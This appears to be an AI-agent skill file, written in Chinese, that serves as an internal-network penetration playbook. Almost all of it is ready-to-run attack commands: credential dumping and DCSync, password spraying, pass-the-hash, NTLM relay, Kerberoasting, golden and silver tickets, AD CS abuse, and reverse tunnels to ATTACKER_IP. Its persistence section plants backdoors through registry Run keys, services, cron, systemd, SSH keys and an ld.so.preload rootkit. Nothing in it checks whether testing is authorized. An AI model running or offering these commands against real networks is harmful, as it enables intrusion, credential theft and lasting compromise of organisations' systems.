name	network-pentest
description	内网渗透 — 横向移动、代理隧道、权限维持、域渗透
version	1.0.0
author	Hermes Agent
license	MIT
metadata	{"hermes":{"tags":["network","lateral-movement","proxy","tunneling","active-directory","pivoting","persistence"]}}

内网渗透工具链

核心工具

工具	用途
CrackMapExec (CME)	内网瑞士军刀，SMB/WinRM/LDAP批量操作
Evil-WinRM	WinRM远程Shell
Chisel	隧道/端口转发
ligolo-ng	反向代理隧道
ProxyChains	流量代理转发
sshuttle	SSH VPN隧道
Responder	LLMNR/NBT-NS/MDNS投毒
ntlmrelayx	NTLM中继
BloodHound	AD域路径分析
Impacket	Windows协议工具集
Rubeus	Kerberos攻击
Mimikatz	凭据提取
pypykatz	Python版Mimikatz
Certipy	AD CS证书攻击
PowerView	AD枚举
PsExec	远程命令执行

1. Impacket — Windows协议工具集

安装

pip install impacket

常用工具

# SMB共享
smbclient.py user:pass@192.168.1.100
smbclient.py user:pass@192.168.1.100 -shares

# PsExec远程执行
psexec.py user:pass@192.168.1.100
psexec.py domain/user:pass@192.168.1.100

# WMI执行
wmiexec.py user:pass@192.168.1.100

# SMBExec(无文件落地)
smbexec.py user:pass@192.168.1.100

# AtExec(计划任务)
atexec.py user:pass@192.168.1.100 "whoami"

# DCSync导出域hash
secretsdump.py domain/user:pass@192.168.1.100
secretsdump.py -just-dc domain/user:pass@192.168.1.100

# Kerberos票据操作
getTGT.py domain/user:pass
getST.py -spn cifs/target.domain.com domain/user -impersonate administrator

# NTLM hash传递
psexec.py -hashes :NTHASH domain/user@192.168.1.100
wmiexec.py -hashes :NTHASH domain/user@192.168.1.100

# SMB服务器
smbserver.py share /tmp/share -smb2support

# LDAP查询
ldapdomaindump.py -u domain\\user -p pass ldap://192.168.1.100

2. CrackMapExec (CME) — 内网瑞士军刀

安装

pip install crackmapexec
# 或
pipx install crackmapexec

基本用法

# SMB扫描
cme smb 192.168.1.0/24
cme smb 192.168.1.0/24 -u user -p pass
cme smb 192.168.1.0/24 -u user -H :NTHASH  # hash传递

# 枚举
cme smb 192.168.1.0/24 -u user -p pass --shares
cme smb 192.168.1.0/24 -u user -p pass --users
cme smb 192.168.1.0/24 -u user -p pass --groups
cme smb 192.168.1.0/24 -u user -p pass --pass-pol
cme smb 192.168.1.0/24 -u user -p pass --sessions
cme smb 192.168.1.0/24 -u user -p pass --loggedon-users

# 密码喷洒
cme smb 192.168.1.0/24 -u users.txt -p 'Password123!'
cme smb 192.168.1.0/24 -u user -p passwords.txt

# 执行命令
cme smb 192.168.1.100 -u user -p pass -x "whoami"
cme smb 192.168.1.100 -u user -p pass -X "Get-DomainUser"  # PowerShell

# 凭据收集
cme smb 192.168.1.100 -u user -p pass --sam
cme smb 192.168.1.100 -u user -p pass --lsa
cme smb 192.168.1.100 -u user -p pass --ntds

# WinRM
cme winrm 192.168.1.100 -u user -p pass -x "whoami"

# LDAP
cme ldap 192.168.1.100 -u user -p pass --users
cme ldap 192.168.1.100 -u user -p pass --asreproast
cme ldap 192.168.1.100 -u user -p pass --kerberoasting

# MSSQL
cme mssql 192.168.1.100 -u user -p pass -q "SELECT @@version"

3. Evil-WinRM — WinRM Shell

安装

gem install evil-winrm

用法

# 基本连接
evil-winrm -i 192.168.1.100 -u user -p pass

# Hash传递
evil-winrm -i 192.168.1.100 -u user -H NTHASH

# 加载脚本/工具
evil-winrm -i 192.168.1.100 -u user -p pass -s /path/to/scripts/ -e /path/to/exes/

# 上传/下载
upload local_file.txt C:\\temp\\
download C:\\temp\\file.txt ./

# 在shell中
*Evil-WinRM* PS> Invoke-BloodHound -CollectionMethod All
*Evil-WinRM* PS> Invoke-Mimikatz
*Evil-WinRM* PS> menu  # 查看内置命令

4. 隧道/代理

Chisel — 反向隧道

# 服务端(攻击机)
chisel server --reverse --port 8080

# 客户端(目标机)
chisel client ATTACKER_IP:8080 R:1080:127.0.0.1:1080
chisel client ATTACKER_IP:8080 R:socks

# 本地端口转发
chisel server --port 8080
chisel client ATTACKER_IP:8080 9090:192.168.1.100:3389

ligolo-ng — 反向代理

# 服务端(攻击机)
./proxy -selfcert

# 客户端(目标机)
./agent -connect ATTACKER_IP:11601 -ignore-cert

# 在ligolo中
>> session
>> ifconfig
>> start --tun ligolo0
# 添加路由
sudo ip route add 192.168.1.0/24 dev ligolo0

ProxyChains — 流量代理

sudo apt install proxychains4

# 配置 /etc/proxychains4.conf
# [ProxyList]
# socks5 127.0.0.1 1080

proxychains nmap -sT -Pn 192.168.1.100
proxychains ssh user@192.168.1.100
proxychains curl http://192.168.1.100

sshuttle — SSH VPN

pip install sshuttle

# 通过SSH创建VPN
sshuttle -r user@jumphost 192.168.1.0/24
sshuttle -r user@jumphost 192.168.1.0/24 10.0.0.0/24

SSH端口转发

# 本地转发
ssh -L 8080:192.168.1.100:80 user@jumphost

# 远程转发
ssh -R 8080:localhost:80 user@attacker

# 动态转发(SOCKS)
ssh -D 1080 user@jumphost

# 后台运行
ssh -fN -D 1080 user@jumphost

5. Responder + NTLM中继

Responder — LLMNR投毒

sudo apt install responder

# 监听并捕获hash
sudo responder -I eth0 -wrf

# 捕获到的hash保存在 /usr/share/responder/logs/
# 用hashcat破解
hashcat -m 5600 captured_hash.txt wordlist.txt

ntlmrelayx — NTLM中继

# 中继到SMB
ntlmrelayx.py -t 192.168.1.100 -smb2support

# 中继到LDAP(域控)
ntlmrelayx.py -t ldap://192.168.1.1 --escalate-user attacker

# 中继到HTTP
ntlmrelayx.py -t http://192.168.1.100

# 配合Responder
# Responder.conf: SMB=Off, HTTP=Off
# 然后运行ntlmrelayx

6. AD域攻击

BloodHound — 域路径分析

# 安装SharpHound(Windows端)
# 或用Python版
pip install bloodhound
bloodhound-python -u user -p pass -d domain.com -dc dc.domain.com -c All

# 导入Neo4j
# 启动 neo4j
# 打开BloodHound GUI导入数据

Kerberos攻击

# AS-REP Roasting(无需密码)
GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt wordlist.txt

# Kerberoasting
GetUserSPNs.py domain.com/user:pass -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt wordlist.txt

# Silver Ticket
ticketer.py -nthash NTHASH -domain-sid S-1-5-21-... -domain domain.com -spn cifs/target user

# Golden Ticket
ticketer.py -nthash krbtgt_NTHASH -domain-sid S-1-5-21-... -domain domain.com administrator

# Unconstrained Delegation
# 用Rubeus监控
Rubeus.exe monitor /interval:5

AD CS (证书服务)

# Certipy
certipy find -u user@domain.com -p pass -dc-ip 192.168.1.1
certipy req -u user@domain.com -p pass -ca CA_NAME -template VulnerableTemplate
certipy auth -pfx administrator.pfx

7. 权限维持

Windows

# 注册表
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v backdoor /d "C:\\temp\\shell.exe"

# 计划任务
schtasks /create /tn "Update" /tr "C:\\temp\\shell.exe" /sc onlogon

# 服务
sc create backdoor binpath= "C:\\temp\\shell.exe" start= auto

# 启动项
copy shell.exe "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"

# WMI事件订阅
# PowerShell
$filter = Set-WmiInstance -Namespace "root\\subscription" -Class __EventFilter -Arguments @{Name="backdoor"; EventNamespace="root\\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}

Linux

# Crontab
(crontab -l; echo "*/5 * * * * /tmp/.backdoor") | crontab

# SSH密钥
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

# Systemd服务
cat > /etc/systemd/system/backdoor.service << 'EOF'
[Unit]
Description=System Update
[Service]
ExecStart=/tmp/.backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor

# .bashrc
echo "/tmp/.backdoor &" >> ~/.bashrc

# LD_PRELOAD
echo "/tmp/.rootkit.so" > /etc/ld.so.preload

8. 横向移动流程

1. 信息收集
   ├── CME枚举域内主机/用户/组
   ├── BloodHound分析域路径
   └── Responder捕获hash

2. 凭据获取
   ├── Mimikatz/pypykatz提取密码
   ├── SAM/NTDS.dit导出hash
   ├── Kerberoasting/AS-REP Roasting
   └── AD CS证书攻击

3. 横向移动
   ├── Pass-the-Hash (CME/Impacket)
   ├── Pass-the-Ticket (Rubeus)
   ├── Over-Pass-the-Hash
   ├── NTLM Relay
   └── WinRM/PSExec/WMI

4. 权限维持
   ├── 注册表/计划任务/服务
   ├── SSH密钥
   ├── Golden/Silver Ticket
   └── DCSync + krbtgt hash

Pitfalls

CME需要域凭据 — 无凭据只能做空会话枚举
ProxyChains只支持TCP — UDP不支持
Chisel端口转发注意方向 — R=远程转发，无R=本地转发
Responder在生产环境慎用 — 会影响域内正常解析
BloodHound需要Neo4j — 记得启动neo4j服务
Pass-the-Hash只对NTLM有效 — Kerberos需要ticket
Golden Ticket需要krbtgt hash — 必须先拿到域控权限
隧道流量注意检测 — 蓝队会监控异常出站流量